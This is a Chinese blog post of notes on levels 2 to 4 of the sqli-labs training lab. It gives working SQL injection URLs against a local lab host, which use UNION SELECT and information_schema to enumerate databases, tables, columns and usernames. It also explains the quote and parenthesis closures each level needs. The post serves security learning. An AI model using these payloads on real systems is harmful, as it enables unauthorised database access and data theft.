• sqli-labs-master 第二,三,四关


    第二关:

    判断注入类型:http://192.168.65.130/sqli-labs-master/Less-2/?id=1 --+

    原因:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

              未对id做任何处理无须闭合

    判断列数:http://192.168.65.130/sqli-labs-master/Less-2/?id=1 order by 3 --+

    判断显示位:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1+UNION(SELECT(1),(2),(3))--+

    爆出数据库:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(schema_name)),(3) from information_schema.schemata) --+ limit 0,1

    爆出数据表:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(table_name)),(3) from information_schema.tables where table_schema='security') --+ limit 0,1

    爆数据表的列名:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(column_name)),(3) from information_schema.columns where table_schema='security' and table_name='users') --+ limit 0,1

    爆数据:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(username)),(3) from users ) --+ limit 0,1

    第三关:

     http://192.168.65.130/sqli-labs-master/Less-3/?id=1') order by 4--+

    剩余同第二关

    原因: $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

                用‘)闭合$id

    第四关:

    http://192.168.65.130/sqli-labs-master/Less-4/?id=1") order by 5 --+

    原因:$id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

    需要闭合引号和小括号

     

  • 相关阅读:
    POJ 2251 Dungeon Master
    HDU 3085 Nightmare Ⅱ
    CodeForces 1060 B Maximum Sum of Digits
    HDU 1166 敌兵布阵(树状数组)
    HDOJ 2050 折线分割平面
    HDU 5879 Cure
    HDU 1878 欧拉回路
    HDU 6225 Little Boxes
    ZOJ 2971 Give Me the Number
    HDU 2680 Choose the best route
  • 原文地址:https://www.cnblogs.com/gudexiao-1996/p/11692275.html
Copyright © 2020-2023  润新知